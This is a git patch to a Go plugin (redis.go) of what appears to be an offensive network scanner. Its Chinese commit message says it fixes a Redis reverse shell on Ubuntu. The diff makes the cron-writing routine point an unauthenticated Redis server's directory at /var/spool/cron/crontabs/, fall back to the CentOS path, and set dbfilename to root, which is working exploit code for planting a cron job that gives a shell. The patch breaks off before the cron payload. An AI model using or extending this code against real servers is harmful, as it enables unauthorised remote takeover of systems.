From 15f3864db2480ac0cf898da5d17d08205de2e0dd Mon Sep 17 00:00:00 2001
From: Mingyu Li <limingyu@ict.ac.cn>
Date: Thu, 18 Apr 2024 01:24:15 +0800
Subject: [PATCH] Fix #334
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Fix #334 redis反弹shell在ubuntu系统下出现
`-ERR Changing directory: No such file or directory`
---
 Plugins/redis.go | 22 +++++++++++++++++-----
 1 file changed, 17 insertions(+), 5 deletions(-)

diff --git a/Plugins/redis.go b/Plugins/redis.go
index 6f3d7b5..e69feb9 100644
--- a/Plugins/redis.go
+++ b/Plugins/redis.go
@@ -221,14 +221,26 @@ func writekey(conn net.Conn, filename string) (flag bool, text string, err error
 
 func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
 	flag = false
-	_, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n"))
-	if err != nil {
-		return flag, text, err
-	}
-	text, err = readreply(conn)
+    	// 尝试写入Ubuntu的路径
+    	_, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/crontabs/\r\n"))
+    	if err != nil {
+		return flag, text, err
+    	}
+    	text, err = readreply(conn)
 	if err != nil {
 		return flag, text, err
 	}
+    	if !strings.Contains(text, "OK") {
+		// 如果没有返回"OK"，可能是CentOS，尝试CentOS的路径
+		_, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n"))
+		if err != nil {
+	    		return flag, text, err
+		}
+		text, err = readreply(conn)
+		if err != nil {
+	    		return flag, text, err
+		}
+    	}
 	if strings.Contains(text, "OK") {
 		_, err = conn.Write([]byte("CONFIG SET dbfilename root\r\n"))
 		if err != nil {